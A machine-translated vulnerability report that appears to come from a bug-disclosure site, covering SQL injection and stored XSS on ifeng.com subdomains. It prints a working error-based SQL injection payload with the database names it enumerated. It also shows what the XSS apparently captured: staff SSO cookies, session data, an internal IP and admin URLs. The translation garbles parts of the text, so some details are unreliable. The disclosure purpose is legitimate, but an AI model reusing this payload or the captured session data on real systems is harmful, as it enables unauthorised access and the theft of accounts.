A business spree in Phoenix has multiple vulnerabilities (SQL & amp; stored XSS & amp; sensitive information)

A business spree in Phoenix has multiple vulnerabilities (SQL, stored XSS, and sensitive information)

RTRT

Http: // ***** response? Keyword = _**



Parameter keyword _



0, 1), floor (rand (0) * 2) x from information_schema.tables group by x))


 

 

 

'And (select 1 from (select count (*), concat (select concat (0x7e, version (), 0x7e) from information_schema.tables limit 0, 1 ), floor (rand (0) * 2) x from information_schema.tables group by x))



[*] Master



[*] Model



[*] Msdb



[*] Tempdb



Local



Read_drama



Read



Test



Readres







# XSS

Http://so.v.ifeng.com/video? Q = & c = 5 & q = 88952634


 

Location: http: // ******** .ifeng.com/useradmin/suggestions

Toplocation: ******** .ifeng.com/useradmin/suggestions

Cookie: vjuids = 7984639d. 150f0568790. 0. ac5d8551; userid = Shanghai; BDTUJIAID = Shanghai; STAFF_SSO_UID = chenglin; STAFF_SSO_NAME = % E7 % A8 % 8B % E6 % B7 % 8B; STAFF_SSO_TOKEN = Shanghai; region = Shanghai; _ ga = GA1.2.829087907.1452314542; gamez_id = 1452476859_9818319d85; vjlast = 1447141214.1453079890.11; PHPSESSID = login; ci_session = a % 3A4% 3A % 7Bs % 3A10% 3A % 22session_id % 22% 3Bs % 3A32% 3A % large % 22% 3Bs % 3A10% 3A % 22ip_address % 22% 3Bs % 3A14% 3A % 22172.31.152.178% 22% 3Bs % 3A10% 3A % 22user_agent % 22% 3Bs % 3A50% 3A % 22 Mozilla % 2F5. 0% 28 Macintosh % 3B Intel Mac OS X 10_11_1% 29 Ap % 22% 3Bs % 3A13% 3A % 22last_activity % 22% 3Bi % 3A1453187735% 3B % timeout; supsea_name = chengin

Opener: http: // ************ .ifeng.com/admin/privilege/showlogin



HTTP_USER_AGENT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36

REMOTE_ADDR: 210.51.19.2, 210.51.19.2





Background 3 #



Http: // ***** .ifeng.com/ifengepgwebM/CheckIn.aspx? ReturnUrl = % 2 running engepgwebm % 2fProgramEdit. aspx + % 2 fdata % 2 running engsite % 2 fhtdocs % 2 running Eng % 2leading eng10 % 2 flib % 2 running Eng % 2 fCache % 2 fDriver % login. php
 

 

Solution:

1. Filter characters

2. filter special characters

3. Delete the background